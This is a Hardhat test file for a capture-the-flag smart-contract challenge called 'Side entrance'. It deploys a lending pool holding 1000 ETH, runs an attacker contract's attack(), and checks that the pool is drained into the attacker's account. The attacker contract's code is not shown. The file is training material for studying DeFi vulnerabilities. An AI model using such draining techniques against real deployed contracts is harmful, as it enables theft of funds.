side-entrance.challenge.ts

const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("[Challenge] Side entrance", function () {
  let deployer, attacker;

  const ETHER_IN_POOL = ethers.utils.parseEther("1000");

  before(async function () {
    /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
    [deployer, attacker] = await ethers.getSigners();

    const SideEntranceLenderPoolFactory = await ethers.getContractFactory("SideEntranceLenderPool", deployer);
    this.pool = await SideEntranceLenderPoolFactory.deploy();

    await this.pool.deposit({ value: ETHER_IN_POOL });

    this.attackerInitialEthBalance = await ethers.provider.getBalance(attacker.address);

    expect(await ethers.provider.getBalance(this.pool.address)).to.equal(ETHER_IN_POOL);
  });

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    const SideEntranceAttackerFactory = await ethers.getContractFactory("SideEntranceAttacker", attacker);
    const attackerContract = await SideEntranceAttackerFactory.deploy(this.pool.address);
    await attackerContract.attack();
  });

  after(async function () {
    /** SUCCESS CONDITIONS */
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal("0");

    // Not checking exactly how much is the final balance of the attacker,
    // because it'll depend on how much gas the attacker spends in the attack
    // If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
    expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(this.attackerInitialEthBalance);
  });
});